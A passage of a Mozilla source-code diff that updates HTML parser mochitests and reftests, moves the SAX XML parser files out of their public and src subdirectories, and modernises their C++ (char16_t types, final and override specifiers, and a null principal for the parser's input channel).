+ ok(false, "Too many readystatechanges");
+ }
+ });
+ window.addEventListener("load", function () {
+ is(document.readyState, "complete", "readyState should be complete during load.");
+ is(state, "readyState complete", "Bad state upon load")
+ state = "load";
+ SimpleTest.finish();
+ });
+ </script>
+ <script defer="" src="file_bug688580.js"></script>
+</head>
+<body>
+<a target="_blank" href="https://bugzilla.mozilla.org/show_bug.cgi?id=688580">Mozilla Bug 688580</a>
+<p id="display"></p>
+<div id="content" style="display: none">
+
+</div>
+<pre id="test">
+</pre>
+</body>
+</html>
diff --git a/parser/htmlparser/tests/mochitest/test_html5_tree_construction.html b/parser/htmlparser/tests/mochitest/test_html5_tree_construction.html
index f96687e47..bd17eb7ae 100644
--- a/parser/htmlparser/tests/mochitest/test_html5_tree_construction.html
+++ b/parser/htmlparser/tests/mochitest/test_html5_tree_construction.html
@@ -19,6 +19,7 @@ https://bugzilla.mozilla.org/show_bug.cgi?id=366936
"adoption02.dat",
"comments01.dat",
"doctype01.dat",
+ "domjs-unsafe.dat",
"entities01.dat",
"entities02.dat",
"html5test-com.dat",
@@ -32,6 +33,7 @@ https://bugzilla.mozilla.org/show_bug.cgi?id=366936
"scripted/ark.dat",
"scriptdata01.dat",
"tables01.dat",
+ "template.dat",
"tests10.dat",
"tests11.dat",
"tests12.dat",
@@ -47,9 +49,9 @@ https://bugzilla.mozilla.org/show_bug.cgi?id=366936
<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=366936"
target="_blank">Mozilla Bug 366936</a>
<div id="content">
-<iframe src="" id="testframe"></iframe>
+<iframe src="" id="testframe"></iframe>
</div>
-See html5lib.googlecode.com for original test data<br>
+See https://github.com/html5lib/html5lib-tests for original test data<br>
<div id="display">
</div>
diff --git a/parser/htmlparser/tests/mochitest/test_html5_tree_construction_part2.html b/parser/htmlparser/tests/mochitest/test_html5_tree_construction_part2.html
index 6bc82dd97..70b36673e 100644
--- a/parser/htmlparser/tests/mochitest/test_html5_tree_construction_part2.html
+++ b/parser/htmlparser/tests/mochitest/test_html5_tree_construction_part2.html
@@ -17,6 +17,7 @@ https://bugzilla.mozilla.org/show_bug.cgi?id=366936
<script class="testbody" type="application/javascript;version=1.7">
var parserDatFiles = ["tests17.dat",
"tests18.dat",
+ "tests19.dat",
"tests1.dat",
"tests20.dat",
"tests21.dat",
@@ -30,20 +31,16 @@ https://bugzilla.mozilla.org/show_bug.cgi?id=366936
"tests4.dat",
"tests5.dat",
"tests6.dat",
+ "tests7.dat",
"tests8.dat",
"tests9.dat",
"tests_innerHTML_1.dat",
"tricky01.dat",
"webkit01.dat",
"webkit02.dat",
- "main-element.dat"];
- const isOSXLion = navigator.userAgent.indexOf("Mac OS X 10.7") != -1;
- const isOSXMtnLion = navigator.userAgent.indexOf("Mac OS X 10.8") != -1;
- if (!isOSXLion && !isOSXMtnLion) {
- parserDatFiles.push("tests19.dat");
- parserDatFiles.push("tests7.dat");
- }
-
+ "main-element.dat",
+ "foreign-fragment.dat",
+ "ruby.dat"];
</script>
<script type="application/javascript;version=1.7"
src="parser_web_testrunner.js"></script>
@@ -52,9 +49,9 @@ https://bugzilla.mozilla.org/show_bug.cgi?id=366936
<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=366936"
target="_blank">Mozilla Bug 366936</a>
<div id="content">
-<iframe src="" id="testframe"></iframe>
+<iframe src="" id="testframe"></iframe>
</div>
-See html5lib.googlecode.com for original test data<br>
+See https://github.com/html5lib/html5lib-tests for original test data<br>
<div id="display">
</div>
diff --git a/parser/htmlparser/tests/mochitest/test_img_picture_preload.html b/parser/htmlparser/tests/mochitest/test_img_picture_preload.html
new file mode 100644
index 000000000..7a925b1b1
--- /dev/null
+++ b/parser/htmlparser/tests/mochitest/test_img_picture_preload.html
@@ -0,0 +1,81 @@
+<!DOCTYPE HTML>
+<html>
+<!--
+https://bugzilla.mozilla.org/show_bug.cgi?id=1067345
+-->
+<head>
+ <title>Test for Bug 1067345</title>
+ <script type="text/javascript" src="/tests/SimpleTest/SimpleTest.js"></script>
+ <link rel="stylesheet" type="text/css" href="/tests/SimpleTest/test.css" />
+</head>
+<body>
+
+ <script type="text/javascript">
+ // Ensure srcset/picture are enabled, re-run the test at different DPI
+ // levels to ensure preload step does the right responsive image selection
+
+ SimpleTest.waitForExplicitFinish();
+
+ var testDPIs = [ "1.0", "0.5", "2.0", "1.5" ];
+ var iframe = document.createElement("iframe");
+
+ // These accessed by child frame
+ var currentDPI;
+
+ document.body.appendChild(iframe);
+
+ SpecialPowers.pushPrefEnv({'set': [ [ "dom.image.srcset.enabled", true ],
+ [ "dom.image.picture.enabled", true ]] },
+ function() {
+ // Reset the sjs helper so repeat runs work
+ resetRequests();
+ setTimeout(nextTest, 0);
+ });
+
+ function resetRequests() {
+ // Ask the SJS to reset requests
+ var request = new XMLHttpRequest();
+ request.open('GET', "./file_img_picture_preload.sjs?reset", false);
+ request.send(null);
+ is(request.status, 200, "Sending reset to helper should succeed");
+ // Script responds with pre-reset request count
+ var previousRequests = +request.responseText;
+
+ return previousRequests;
+ }
+
+ // Called when iframe is finished
+ function childTestFinished(requestsMade) {
+ setTimeout(function() {
+ // Reset sjs, ensure no new requests appeared after test finished
+ var requestsCleared = resetRequests();
+ is(requestsCleared, requestsMade,
+ "Should not have recorded new requests after test iteration completed");
+
+ setTimeout(nextTest, 0);
+ }, 0);
+ }
+
+ function nextTest() {
+ // Re-run test for each DPI level
+ if (testDPIs.length) {
+ currentDPI = testDPIs.pop();
+ info("Starting test for DPI: " + currentDPI);
+ SpecialPowers.pushPrefEnv({'set': [ [ "layout.css.devPixelsPerPx", currentDPI ]] },
+ function() {
+ // Clear image cache for next run (we don't try to validate cached items
+ // in preload).
+ SpecialPowers.Cc["@mozilla.org/image/tools;1"]
+ .getService(SpecialPowers.Ci.imgITools)
+ .getImgCacheForDocument(iframe.contentDocument)
+ .clearCache(false);
+ iframe.src = "./file_img_picture_preload.html?" + currentDPI;
+ });
+ } else {
+ SimpleTest.finish();
+ }
+ }
+ </script>
+
+</body>
+</html>
diff --git a/parser/htmlparser/tests/mochitest/test_viewsource.html b/parser/htmlparser/tests/mochitest/test_viewsource.html
index c9f74f9af..42721954a 100644
--- a/parser/htmlparser/tests/mochitest/test_viewsource.html
+++ b/parser/htmlparser/tests/mochitest/test_viewsource.html
@@ -2,7 +2,6 @@
<html>
<head>
<title>Test for view source</title>
- <script type="text/javascript" src="/MochiKit/packed.js"></script>
<script type="text/javascript" src="/tests/SimpleTest/SimpleTest.js"></script>
<link rel="stylesheet" type="text/css" href="/tests/SimpleTest/test.css" />
</head>
@@ -25,38 +24,26 @@
return xhr.responseText;
}
- // Start a "view source" test using the document at "testUrl". Note that
- // the test will actually complete asynchronously.
- function startViewSourceTest(testUrl) {
-
- // We will "view" the source of the document in an IFRAME.
- // If everything is working correctly, the "source" will simply be the
- // text content of the IFRAME document's top element.
-
- // Create the IFRAME.
- var iframe = document.createElement('iframe');
- iframe.src = "view-source:" + testUrl;
-
- // The actual test will be carried out inside the IFRAME's onload handler.
- iframe.onload = function () {
-
- var apparentSource = this.contentDocument.body.textContent;
- var actualSource = fetch(testUrl);
-
- // OK, verify that the apparent source and the actual source agree.
- ok(apparentSource == actualSource, "Sources should match");
-
- SimpleTest.finish();
- }
-
- // Our test IFRAME is ready to go. However, it will not load until we
- // actually append it to the document. Do that now. Note that the test
- // itself will run asynchronously some time after this function returns.
- document.body.appendChild(iframe);
+ // We will "view" the source of the document in a new window.
+ // If everything is working correctly, the "source" will simply be the
+ // text content of the new window's document's body element.
+ // We have to use a window as view-source: is only allowed in top level,
+ // see bug 624883.
+
+ // Open the new window.
+ var windowWithSource = window.open("about:blank");
+
+ // The actual test will be carried out inside the window's onload handler.
+ windowWithSource.onload = function () {
+ var apparentSource = this.document.body.textContent;
+ var actualSource = fetch(location.href);
+ is(apparentSource, actualSource, "Sources should match");
+
+ windowWithSource.close()
+ SimpleTest.finish();
}
- // Start a test using this document as the test document.
- startViewSourceTest(document.location.href);
+ windowWithSource.location.href = "view-source:" + location.href;
</script>
</body>
diff --git a/parser/htmlparser/tests/moz.build b/parser/htmlparser/tests/moz.build
deleted file mode 100644
index f7e081775..000000000
--- a/parser/htmlparser/tests/moz.build
+++ /dev/null
@@ -1,7 +0,0 @@
-# -*- Mode: python; c-basic-offset: 4; indent-tabs-mode: nil; tab-width: 40 -*-
-# vim: set filetype=python:
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-TEST_DIRS += ['mochitest']
diff --git a/parser/htmlparser/tests/reftest/bug910588-1-ref.html b/parser/htmlparser/tests/reftest/bug910588-1-ref.html
new file mode 100644
index 000000000..38b00a382
--- /dev/null
+++ b/parser/htmlparser/tests/reftest/bug910588-1-ref.html
@@ -0,0 +1,2 @@
+<!DOCTYPE html><html><head><title></title><link rel="stylesheet" type="text/css" href="resource://gre-resources/viewsource.css"></head><body id="viewsource" style="-moz-tab-size: 4"><pre id="line1"><span></span><span class="doctype">&lt;!DOCTYPE html&gt;</span><span></span><span>&lt;<span class="start-tag">table</span>&gt;</span><span></span><span title="Start tag “input” seen in “table”." class="error">&lt;<span class="start-tag">input</span> <span class="attribute-name">type</span>=<a class="attribute-value">hidden</a>&gt;</span><span></span><span>&lt;/<span class="end-tag">table</span>&gt;</span><span>
+<span id="line2"></span></span></pre></body></html>
diff --git a/parser/htmlparser/tests/reftest/bug910588-1.html b/parser/htmlparser/tests/reftest/bug910588-1.html
new file mode 100644
index 000000000..d0f595858
--- /dev/null
+++ b/parser/htmlparser/tests/reftest/bug910588-1.html
@@ -0,0 +1 @@
+<!DOCTYPE html><table><input type=hidden></table>
diff --git a/parser/htmlparser/tests/reftest/reftest.list b/parser/htmlparser/tests/reftest/reftest.list
index 5e2e93a91..82e56563a 100644
--- a/parser/htmlparser/tests/reftest/reftest.list
+++ b/parser/htmlparser/tests/reftest/reftest.list
@@ -22,3 +22,4 @@ skip-if(B2G) == bug696651-2.html bug696651-2-ref.html
== view-source:bug704667-1.html bug704667-1-ref.html
== view-source:bug731234-1.html bug731234-1-ref.html
== bug820508-1.html bug820508-1-ref.html
+== view-source:bug910588-1.html bug910588-1-ref.html
diff --git a/parser/moz.build b/parser/moz.build
index c778ff456..543bc3c7b 100644
--- a/parser/moz.build
+++ b/parser/moz.build
@@ -6,8 +6,6 @@
DIRS += ['expat', 'xml', 'htmlparser', 'html']
-MODULE = 'parser'
-
EXPORTS += [
'nsCharsetSource.h',
]
diff --git a/parser/nsCharsetSource.h b/parser/nsCharsetSource.h
index ac6264e39..bd85bba10 100644
--- a/parser/nsCharsetSource.h
+++ b/parser/nsCharsetSource.h
@@ -7,8 +7,8 @@
// note: the value order defines the priority; higher numbers take priority
#define kCharsetUninitialized 0
-#define kCharsetFromWeakDocTypeDefault 1
-#define kCharsetFromUserDefault 2
+#define kCharsetFromFallback 1
+#define kCharsetFromTopLevelDomain 2
#define kCharsetFromDocTypeDefault 3 // This and up confident for XHR
#define kCharsetFromCache 4
#define kCharsetFromParentFrame 5
diff --git a/parser/xml/moz.build b/parser/xml/moz.build
index 92950f537..25936bab8 100644
--- a/parser/xml/moz.build
+++ b/parser/xml/moz.build
@@ -4,5 +4,37 @@
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-DIRS += ['public', 'src']
TEST_DIRS += ['test']
+
+XPIDL_SOURCES += [
+ 'nsIMozSAXXMLDeclarationHandler.idl',
+ 'nsISAXAttributes.idl',
+ 'nsISAXContentHandler.idl',
+ 'nsISAXDTDHandler.idl',
+ 'nsISAXErrorHandler.idl',
+ 'nsISAXLexicalHandler.idl',
+ 'nsISAXLocator.idl',
+ 'nsISAXMutableAttributes.idl',
+ 'nsISAXXMLFilter.idl',
+ 'nsISAXXMLReader.idl',
+]
+
+XPIDL_MODULE = 'saxparser'
+
+EXPORTS += [
+ 'nsSAXAttributes.h',
+ 'nsSAXLocator.h',
+ 'nsSAXXMLReader.h',
+]
+
+SOURCES += [
+ 'nsSAXAttributes.cpp',
+ 'nsSAXLocator.cpp',
+ 'nsSAXXMLReader.cpp',
+]
+
+MSVC_ENABLE_PGO = True
+
+FINAL_LIBRARY = 'xul'
+
+FAIL_ON_WARNINGS = True
diff --git a/parser/xml/public/nsIMozSAXXMLDeclarationHandler.idl b/parser/xml/nsIMozSAXXMLDeclarationHandler.idl
index 2e9c0d6d6..2e9c0d6d6 100644
--- a/parser/xml/public/nsIMozSAXXMLDeclarationHandler.idl
+++ b/parser/xml/nsIMozSAXXMLDeclarationHandler.idl
diff --git a/parser/xml/public/nsISAXAttributes.idl b/parser/xml/nsISAXAttributes.idl
index c9b0a8a7e..c9b0a8a7e 100644
--- a/parser/xml/public/nsISAXAttributes.idl
+++ b/parser/xml/nsISAXAttributes.idl
diff --git a/parser/xml/public/nsISAXContentHandler.idl b/parser/xml/nsISAXContentHandler.idl
index 43b7e48c5..43b7e48c5 100644
--- a/parser/xml/public/nsISAXContentHandler.idl
+++ b/parser/xml/nsISAXContentHandler.idl
diff --git a/parser/xml/public/nsISAXDTDHandler.idl b/parser/xml/nsISAXDTDHandler.idl
index b4cb51d1b..b4cb51d1b 100644
--- a/parser/xml/public/nsISAXDTDHandler.idl
+++ b/parser/xml/nsISAXDTDHandler.idl
diff --git a/parser/xml/public/nsISAXErrorHandler.idl b/parser/xml/nsISAXErrorHandler.idl
index ea8af79ce..ea8af79ce 100644
--- a/parser/xml/public/nsISAXErrorHandler.idl
+++ b/parser/xml/nsISAXErrorHandler.idl
diff --git a/parser/xml/public/nsISAXLexicalHandler.idl b/parser/xml/nsISAXLexicalHandler.idl
index ed50de2b7..ed50de2b7 100644
--- a/parser/xml/public/nsISAXLexicalHandler.idl
+++ b/parser/xml/nsISAXLexicalHandler.idl
diff --git a/parser/xml/public/nsISAXLocator.idl b/parser/xml/nsISAXLocator.idl
index a5808313f..a5808313f 100644
--- a/parser/xml/public/nsISAXLocator.idl
+++ b/parser/xml/nsISAXLocator.idl
diff --git a/parser/xml/public/nsISAXMutableAttributes.idl b/parser/xml/nsISAXMutableAttributes.idl
index c3c205005..c3c205005 100644
--- a/parser/xml/public/nsISAXMutableAttributes.idl
+++ b/parser/xml/nsISAXMutableAttributes.idl
diff --git a/parser/xml/public/nsISAXXMLFilter.idl b/parser/xml/nsISAXXMLFilter.idl
index 44b637db9..44b637db9 100644
--- a/parser/xml/public/nsISAXXMLFilter.idl
+++ b/parser/xml/nsISAXXMLFilter.idl
diff --git a/parser/xml/public/nsISAXXMLReader.idl b/parser/xml/nsISAXXMLReader.idl
index 8dedcc3f6..8dedcc3f6 100644
--- a/parser/xml/public/nsISAXXMLReader.idl
+++ b/parser/xml/nsISAXXMLReader.idl
diff --git a/parser/xml/src/nsSAXAttributes.cpp b/parser/xml/nsSAXAttributes.cpp
index 32b79fb78..3984186e4 100644
--- a/parser/xml/src/nsSAXAttributes.cpp
+++ b/parser/xml/nsSAXAttributes.cpp
@@ -5,7 +5,7 @@
#include "nsSAXAttributes.h"
-NS_IMPL_ISUPPORTS2(nsSAXAttributes, nsISAXAttributes, nsISAXMutableAttributes)
+NS_IMPL_ISUPPORTS(nsSAXAttributes, nsISAXAttributes, nsISAXMutableAttributes)
NS_IMETHODIMP
nsSAXAttributes::GetIndexFromName(const nsAString &aURI,
diff --git a/parser/xml/src/nsSAXAttributes.h b/parser/xml/nsSAXAttributes.h
index b85947038..f8da6f8a1 100644
--- a/parser/xml/src/nsSAXAttributes.h
+++ b/parser/xml/nsSAXAttributes.h
@@ -28,7 +28,7 @@ struct SAXAttr
nsString value;
};
-class nsSAXAttributes MOZ_FINAL : public nsISAXMutableAttributes
+class nsSAXAttributes final : public nsISAXMutableAttributes
{
public:
NS_DECL_ISUPPORTS
@@ -36,6 +36,7 @@ public:
NS_DECL_NSISAXMUTABLEATTRIBUTES
private:
+ ~nsSAXAttributes() {}
nsTArray<SAXAttr> mAttrs;
};
diff --git a/parser/xml/src/nsSAXLocator.cpp b/parser/xml/nsSAXLocator.cpp
index 171375a60..16a056ac6 100644
--- a/parser/xml/src/nsSAXLocator.cpp
+++ b/parser/xml/nsSAXLocator.cpp
@@ -5,7 +5,7 @@
#include "nsSAXLocator.h"
-NS_IMPL_ISUPPORTS1(nsSAXLocator, nsISAXLocator)
+NS_IMPL_ISUPPORTS(nsSAXLocator, nsISAXLocator)
nsSAXLocator::nsSAXLocator(nsString& aPublicId,
nsString& aSystemId,
diff --git a/parser/xml/src/nsSAXLocator.h b/parser/xml/nsSAXLocator.h
index 77d3b5cb6..14b9ef063 100644
--- a/parser/xml/src/nsSAXLocator.h
+++ b/parser/xml/nsSAXLocator.h
@@ -16,7 +16,7 @@
0xc1cd4045, 0x846b, 0x43bb, \
{ 0xa9, 0x5e, 0x74, 0x5a, 0x3d, 0x7b, 0x40, 0xe0} }
-class nsSAXLocator MOZ_FINAL : public nsISAXLocator
+class nsSAXLocator final : public nsISAXLocator
{
public:
NS_DECL_ISUPPORTS
@@ -28,6 +28,8 @@ public:
int32_t aColumnNumber);
private:
+ ~nsSAXLocator() {}
+
nsString mPublicId;
nsString mSystemId;
int32_t mLineNumber;
diff --git a/parser/xml/src/nsSAXXMLReader.cpp b/parser/xml/nsSAXXMLReader.cpp
index 8c758c66b..2a119aed1 100644
--- a/parser/xml/src/nsSAXXMLReader.cpp
+++ b/parser/xml/nsSAXXMLReader.cpp
@@ -6,6 +6,7 @@
#include "nsIInputStream.h"
#include "nsNetCID.h"
#include "nsNetUtil.h"
+#include "nsNullPrincipal.h"
#include "nsIParser.h"
#include "nsParserCIID.h"
#include "nsStreamUtils.h"
@@ -24,15 +25,15 @@ using mozilla::dom::EncodingUtils;
static NS_DEFINE_CID(kParserCID, NS_PARSER_CID);
-NS_IMPL_CYCLE_COLLECTION_8(nsSAXXMLReader,
- mContentHandler,
- mDTDHandler,
- mErrorHandler,
- mLexicalHandler,
- mDeclarationHandler,
- mBaseURI,
- mListener,
- mParserObserver)
+NS_IMPL_CYCLE_COLLECTION(nsSAXXMLReader,
+ mContentHandler,
+ mDTDHandler,
+ mErrorHandler,
+ mLexicalHandler,
+ mDeclarationHandler,
+ mBaseURI,
+ mListener,
+ mParserObserver)
NS_IMPL_CYCLE_COLLECTING_ADDREF(nsSAXXMLReader)
NS_IMPL_CYCLE_COLLECTING_RELEASE(nsSAXXMLReader)
NS_INTERFACE_MAP_BEGIN_CYCLE_COLLECTION(nsSAXXMLReader)
@@ -78,16 +79,15 @@ nsSAXXMLReader::SetParser(nsParserBase *aParser)
// nsIExtendedExpatSink
NS_IMETHODIMP
-nsSAXXMLReader::HandleStartElement(const PRUnichar *aName,
- const PRUnichar **aAtts,
+nsSAXXMLReader::HandleStartElement(const char16_t *aName,
+ const char16_t **aAtts,
uint32_t aAttsCount,
- int32_t aIndex,
uint32_t aLineNumber)
{
if (!mContentHandler)
return NS_OK;
- nsCOMPtr<nsSAXAttributes> atts = new nsSAXAttributes();
+ nsRefPtr<nsSAXAttributes> atts = new nsSAXAttributes();
if (!atts)
return NS_ERROR_OUT_OF_MEMORY;
nsAutoString uri, localName, qName;
@@ -109,7 +109,7 @@ nsSAXXMLReader::HandleStartElement(const PRUnichar *aName,
}
NS_IMETHODIMP
-nsSAXXMLReader::HandleEndElement(const PRUnichar *aName)
+nsSAXXMLReader::HandleEndElement(const char16_t *aName)
{
if (mContentHandler) {
nsAutoString uri, localName, qName;
@@ -120,7 +120,7 @@ nsSAXXMLReader::HandleEndElement(const PRUnichar *aName)
}
NS_IMETHODIMP
-nsSAXXMLReader::HandleComment(const PRUnichar *aName)
+nsSAXXMLReader::HandleComment(const char16_t *aName)
{
NS_ASSERTION(aName, "null passed to handler");
if (mLexicalHandler)
@@ -130,7 +130,7 @@ nsSAXXMLReader::HandleComment(const PRUnichar *aName)
}
NS_IMETHODIMP
-nsSAXXMLReader::HandleCDataSection(const PRUnichar *aData,
+nsSAXXMLReader::HandleCDataSection(const char16_t *aData,
uint32_t aLength)
{
nsresult rv;
@@ -153,11 +153,11 @@ nsSAXXMLReader::HandleCDataSection(const PRUnichar *aData,
}
NS_IMETHODIMP
-nsSAXXMLReader::HandleStartDTD(const PRUnichar *aName,
- const PRUnichar *aSystemId,
- const PRUnichar *aPublicId)
+nsSAXXMLReader::HandleStartDTD(const char16_t *aName,
+ const char16_t *aSystemId,
+ const char16_t *aPublicId)
{
- PRUnichar nullChar = PRUnichar(0);
+ char16_t nullChar = char16_t(0);
if (!aName)
aName = &nullChar;
if (!aSystemId)
@@ -190,7 +190,7 @@ nsSAXXMLReader::HandleDoctypeDecl(const nsAString & aSubset,
}
NS_IMETHODIMP
-nsSAXXMLReader::HandleCharacterData(const PRUnichar *aData,
+nsSAXXMLReader::HandleCharacterData(const char16_t *aData,
uint32_t aLength)
{
if (mContentHandler)
@@ -200,13 +200,13 @@ nsSAXXMLReader::HandleCharacterData(const PRUnichar *aData,
}
NS_IMETHODIMP
-nsSAXXMLReader::HandleStartNamespaceDecl(const PRUnichar *aPrefix,
- const PRUnichar *aUri)
+nsSAXXMLReader::HandleStartNamespaceDecl(const char16_t *aPrefix,
+ const char16_t *aUri)
{
if (!mContentHandler)
return NS_OK;
- PRUnichar nullChar = PRUnichar(0);
+ char16_t nullChar = char16_t(0);
if (!aPrefix)
aPrefix = &nullChar;
if (!aUri)
@@ -217,7 +217,7 @@ nsSAXXMLReader::HandleStartNamespaceDecl(const PRUnichar *aPrefix,
}
NS_IMETHODIMP
-nsSAXXMLReader::HandleEndNamespaceDecl(const PRUnichar *aPrefix)
+nsSAXXMLReader::HandleEndNamespaceDecl(const char16_t *aPrefix)
{
if (!mContentHandler)
return NS_OK;
@@ -229,8 +229,8 @@ nsSAXXMLReader::HandleEndNamespaceDecl(const PRUnichar *aPrefix)
}
NS_IMETHODIMP
-nsSAXXMLReader::HandleProcessingInstruction(const PRUnichar *aTarget,
- const PRUnichar *aData)
+nsSAXXMLReader::HandleProcessingInstruction(const char16_t *aTarget,
+ const char16_t *aData)
{
NS_ASSERTION(aTarget && aData, "null passed to handler");
if (mContentHandler) {
@@ -242,13 +242,13 @@ nsSAXXMLReader::HandleProcessingInstruction(const PRUnichar *aTarget,
}
NS_IMETHODIMP
-nsSAXXMLReader::HandleNotationDecl(const PRUnichar *aNotationName,
- const PRUnichar *aSystemId,
- const PRUnichar *aPublicId)
+nsSAXXMLReader::HandleNotationDecl(const char16_t *aNotationName,
+ const char16_t *aSystemId,
+ const char16_t *aPublicId)
{
NS_ASSERTION(aNotationName, "null passed to handler");
if (mDTDHandler) {
- PRUnichar nullChar = PRUnichar(0);
+ char16_t nullChar = char16_t(0);
if (!aSystemId)
aSystemId = &nullChar;
if (!aPublicId)
@@ -263,14 +263,14 @@ nsSAXXMLReader::HandleNotationDecl(const PRUnichar *aNotationName,
}
NS_IMETHODIMP
-nsSAXXMLReader::HandleUnparsedEntityDecl(const PRUnichar *aEntityName,
- const PRUnichar *aSystemId,
- const PRUnichar *aPublicId,
- const PRUnichar *aNotationName)
+nsSAXXMLReader::HandleUnparsedEntityDecl(const char16_t *aEntityName,
+ const char16_t *aSystemId,
+ const char16_t *aPublicId,
+ const char16_t *aNotationName)
{
NS_ASSERTION(aEntityName && aNotationName, "null passed to handler");
if (mDTDHandler) {
- PRUnichar nullChar = PRUnichar(0);
+ char16_t nullChar = char16_t(0);
if (!aSystemId)
aSystemId = &nullChar;
if (!aPublicId)
@@ -286,13 +286,13 @@ nsSAXXMLReader::HandleUnparsedEntityDecl(const PRUnichar *aEntityName,
}
NS_IMETHODIMP
-nsSAXXMLReader::HandleXMLDeclaration(const PRUnichar *aVersion,
- const PRUnichar *aEncoding,
+nsSAXXMLReader::HandleXMLDeclaration(const char16_t *aVersion,
+ const char16_t *aEncoding,
int32_t aStandalone)
{
NS_ASSERTION(aVersion, "null passed to handler");
if (mDeclarationHandler) {
- PRUnichar nullChar = PRUnichar(0);
+ char16_t nullChar = char16_t(0);
if (!aEncoding)
aEncoding = &nullChar;
mDeclarationHandler->HandleXMLDeclaration(nsDependentString(aVersion),
@@ -303,8 +303,8 @@ nsSAXXMLReader::HandleXMLDeclaration(const PRUnichar *aVersion,
}
NS_IMETHODIMP
-nsSAXXMLReader::ReportError(const PRUnichar* aErrorText,
- const PRUnichar* aSourceText,
+nsSAXXMLReader::ReportError(const char16_t* aErrorText,
+ const char16_t* aSourceText,
nsIScriptError *aError,
bool *_retval)
{
@@ -496,9 +496,18 @@ nsSAXXMLReader::ParseFromStream(nsIInputStream *aStream,
rv = EnsureBaseURI();
NS_ENSURE_SUCCESS(rv, rv);
+ nsCOMPtr<nsIPrincipal> nullPrincipal =
+ do_CreateInstance("@mozilla.org/nullprincipal;1", &rv);
+ NS_ENSURE_SUCCESS(rv, rv);
+
nsCOMPtr<nsIChannel> parserChannel;
- rv = NS_NewInputStreamChannel(getter_AddRefs(parserChannel), mBaseURI,
- aStream, nsDependentCString(aContentType));
+ rv = NS_NewInputStreamChannel(getter_AddRefs(parserChannel),
+ mBaseURI,
+ aStream,
+ nullPrincipal,
+ nsILoadInfo::SEC_NORMAL,
+ nsIContentPolicy::TYPE_OTHER,
+ nsDependentCString(aContentType));
if (!parserChannel || NS_FAILED(rv))
return NS_ERROR_FAILURE;
@@ -667,7 +676,7 @@ nsSAXXMLReader::EnsureBaseURI()
}
nsresult
-nsSAXXMLReader::SplitExpatName(const PRUnichar *aExpatName,
+nsSAXXMLReader::SplitExpatName(const char16_t *aExpatName,
nsString &aURI,
nsString &aLocalName,
nsString &aQName)
@@ -687,7 +696,7 @@ nsSAXXMLReader::SplitExpatName(const PRUnichar *aExpatName,
NS_ASSERTION(aExpatName, "null passed to handler");
nsDependentString expatStr(aExpatName);
int32_t break1, break2 = kNotFound;
- break1 = expatStr.FindChar(PRUnichar(0xFFFF));
+ break1 = expatStr.FindChar(char16_t(0xFFFF));
if (break1 == kNotFound) {
aLocalName = expatStr; // no namespace
@@ -695,7 +704,7 @@ nsSAXXMLReader::SplitExpatName(const PRUnichar *aExpatName,
aQName = expatStr;
} else {
aURI = StringHead(expatStr, break1);
- break2 = expatStr.FindChar(PRUnichar(0xFFFF), break1 + 1);
+ break2 = expatStr.FindChar(char16_t(0xFFFF), break1 + 1);
if (break2 == kNotFound) { // namespace, but no prefix
aLocalName = Substring(expatStr, break1 + 1);
aQName = aLocalName;
diff --git a/parser/xml/src/nsSAXXMLReader.h b/parser/xml/nsSAXXMLReader.h
index 44ade1519..e1885a8bb 100644
--- a/parser/xml/src/nsSAXXMLReader.h
+++ b/parser/xml/nsSAXXMLReader.h
@@ -25,7 +25,7 @@
{ 0xab1da296, 0x6125, 0x40ba, \
{ 0x96, 0xd0, 0x47, 0xa8, 0x28, 0x2a, 0xe3, 0xdb} }
-class nsSAXXMLReader MOZ_FINAL : public nsISAXXMLReader,
+class nsSAXXMLReader final : public nsISAXXMLReader,
public nsIExtendedExpatSink,
public nsIContentSink
{
@@ -41,40 +41,42 @@ public:
nsSAXXMLReader();
//nsIContentSink
- NS_IMETHOD WillParse()
+ NS_IMETHOD WillParse() override
{
return NS_OK;
}
- NS_IMETHOD WillBuildModel(nsDTDMode aDTDMode);
- NS_IMETHOD DidBuildModel(bool aTerminated);
- NS_IMETHOD SetParser(nsParserBase* aParser);
+ NS_IMETHOD WillBuildModel(nsDTDMode aDTDMode) override;
+ NS_IMETHOD DidBuildModel(bool aTerminated) override;
+ NS_IMETHOD SetParser(nsParserBase* aParser) override;
- NS_IMETHOD WillInterrupt()
+ NS_IMETHOD WillInterrupt() override
{
return NS_OK;
}
- NS_IMETHOD WillResume()
+ NS_IMETHOD WillResume() override
{
return NS_OK;
}
- virtual void FlushPendingNotifications(mozFlushType aType)
+ virtual void FlushPendingNotifications(mozFlushType aType) override
{
}
- NS_IMETHOD SetDocumentCharset(nsACString& aCharset)
+ NS_IMETHOD SetDocumentCharset(nsACString& aCharset) override
{
return NS_OK;
}
- virtual nsISupports *GetTarget()
+ virtual nsISupports *GetTarget() override
{
return nullptr;
}
private:
+ ~nsSAXXMLReader() {}
+
nsCOMPtr<nsISAXContentHandler> mContentHandler;
nsCOMPtr<nsISAXDTDHandler> mDTDHandler;
nsCOMPtr<nsISAXErrorHandler> mErrorHandler;
@@ -89,7 +91,7 @@ private:
nsACString& aCharset);
nsresult EnsureBaseURI();
nsresult InitParser(nsIRequestObserver *aListener, nsIChannel *aChannel);
- nsresult SplitExpatName(const PRUnichar *aExpatName,
+ nsresult SplitExpatName(const char16_t *aExpatName,
nsString &aURI,
nsString &aLocalName,
nsString &aQName);
diff --git a/parser/xml/public/moz.build b/parser/xml/public/moz.build
deleted file mode 100644
index 1cbd09e50..000000000
--- a/parser/xml/public/moz.build
+++ /dev/null
@@ -1,23 +0,0 @@
-# -*- Mode: python; c-basic-offset: 4; indent-tabs-mode: nil; tab-width: 40 -*-
-# vim: set filetype=python:
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
-
-XPIDL_SOURCES += [
- 'nsIMozSAXXMLDeclarationHandler.idl',
- 'nsISAXAttributes.idl',
- 'nsISAXContentHandler.idl',
- 'nsISAXDTDHandler.idl',
- 'nsISAXErrorHandler.idl',
- 'nsISAXLexicalHandler.idl',
- 'nsISAXLocator.idl',
- 'nsISAXMutableAttributes.idl',
- 'nsISAXXMLFilter.idl',
- 'nsISAXXMLReader.idl',
-]
-
-XPIDL_MODULE = 'saxparser'
-
-MODULE = 'xml'
-
